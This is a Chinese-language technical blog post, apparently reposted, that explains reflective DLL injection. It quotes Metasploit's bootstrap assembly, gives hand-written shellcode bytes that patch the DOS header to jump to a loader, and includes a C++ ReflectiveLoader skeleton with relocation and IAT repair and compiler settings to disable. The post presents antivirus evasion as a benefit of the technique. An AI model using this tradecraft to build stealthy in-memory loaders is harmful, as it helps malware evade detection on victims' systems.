reflective dll injection 反射注入
一、reflective dll injection 反射注入介紹
網上對反射注入的定義是只通過內存把DLL注入到特定進程中,也就是說整個過程都不涉及文件操作。
優點
-
規避殺軟基于文件系統的檢測
-
不會在進程的DLL鏈表里留下記錄
-
通過特殊處理,可以使用正常的方式編寫DLL,實現shellcode的效果
缺點
- DLL體積較大,相比于shellcode注入,更容易被檢測
二、修改dos頭,填入精心構造的 bootstrap shellcode
metasploit 實現的bootstrap shellcode非常精妙,它保留了正常DLL的特征
dec ebp ; M pop edx ; Z call 0 ; call next instruction pop ebx ; get our location (+7) push edx ; push edx back inc ebp ; restore ebp push ebp ; save ebp mov ebp, esp ; setup fresh stack frame add ebx, 0x???????? ; add offset to ReflectiveLoader call ebx ; call ReflectiveLoader mov ebx, eax ; save DllMain for second call push edi ; our socket push 0x4 ; signal we have attached push eax ; some value for hinstance call eax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket ) push 0x???????? ; our EXITFUNC placeholder push 0x5 ; signal we have detached push eax ; some value for hinstance call ebx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk ) ; we only return if we don't set a valid EXITFUNC Listing 1: Bootstrap Shellcode.我這里自己實現了一個更簡單的。
將DOS頭從MZ標記開始的字節替換為shellcode,功能是跳轉到ReflectiveLoader函數
shellcode如下:
E8 00000000 | call $0 | 將下一條指令的地址壓棧
58 | pop eax | 將當前指令的地址彈到eax
83E8 05 | sub eax,5 | 減5字節得到第一條指令的地址,得到DLL基址ImageBase
50 | push eax | ImageBase壓棧,傳給ReflectiveLoader函數
05 00100000 | add eax,1000 | 基址+偏移找到ReflectiveLoader函數地址
FFD0 | call eax | 調用ReflectiveLoader函數
E8 00 00 00 00 58 83 E8 05 50 05 60 15 00 00 FF D0
其中倒數第二條指令 add eax,xx 每次編譯后可能都會變,因此指令也要每次修改。
然后,把DLL拉伸成內存鏡像的形式,實際上就是遍歷節表,把所有的節從文件對齊的位置復制到內存對齊的位置。
這樣處理之后,DLL已經初步具備了shellcode的特征,它可以像shellcode一樣被執行了,但是還有很多重要的工作沒有完成。
三、ReflectiveLoader 函數
需要完成兩項工作:
- 修復重定位表
- 修復IAT表
完成這兩項之后,就可以調用任意API和自己編寫的函數,到此為止,這個DLL在使用上已經和普通shellcode沒什么區別了(除了體積比shellcode大得多)。
顯然,這樣寫代碼比寫shellcode簡單多了,shellcode需要時刻注意不能使用全局變量,字符串常量,還不能調用別的函數,所有功能都要在一個函數里完成;而使用反射注入方式編寫的DLL,絕大部分代碼都是正常編寫的,我們只需要寫非常少的shellcode以及編寫幾個用于修正DLL內數據的函數就行了。
extern "C" __declspec(dllexport) void ReflectiveLoader(DWORD dwImageBase) {// 需要先修復重定位表,因為此時所有硬編碼跳轉的地址都是錯的// ReflectiveLoader可以調用SetNewImageBase是因為編譯器使用E8 CALL,這兩個函數之間的偏移在編譯時就確定了,就不會出錯// 如果編譯器使用 FF 15 CALL ,就不能這么做了,所以最安全的做法就是把修復重定位表的工作放在ReflectiveLoader里做完// 修復重定位后,就可以調用DLL內的函數和全局變量了SetNewImageBase((LPVOID)dwImageBase, dwImageBase);// 通過PEB獲取 LoadLibrary 和 GetProcAddress// 獲取這兩個函數,待會修復IAT表要用GetLoadlibAndGetproc();// 修復IAT表// 修復IAT表后,就可以調用API了RepairIAT((LPVOID)dwImageBase);// 執行任意正常編寫的代碼,從這開始就不需要寫shellcode了MessageBoxA(0, "Reflective Inject success, now we can call any API normally!", 0, MB_OK);printf("printf test.\n");system("calc.exe");ExitProcess(0); }四、注意事項
關閉 C/C++ 常規 支持僅我的代碼調試/JMC
這玩意開了的話會在代碼里加一些棧溢出校驗函數,這些函數會在我們修復重定位IAT之前使用錯誤的地址,所以必須關掉。
同理,也要把/GS運行時安全檢查關掉,這個選項也會加入一些校驗函數。這個選項在debug模式下沒有影響,release下就會運行時崩潰。
總結一下就是,我們要把所有編譯器鏈接器可能自己添加代碼的功能盡可能關掉,不然它們在修復工作開始前就調用,就會出錯。
下面給出編寫shellcode的典型配置,出自《Rootkit 系統灰色地帶的潛伏者 原書第2版》
總結
以上是生活随笔為你收集整理的reflective dll injection 反射注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: apatedns unhandled e
- 下一篇: 逆向分析使用COM组件对象模型的代码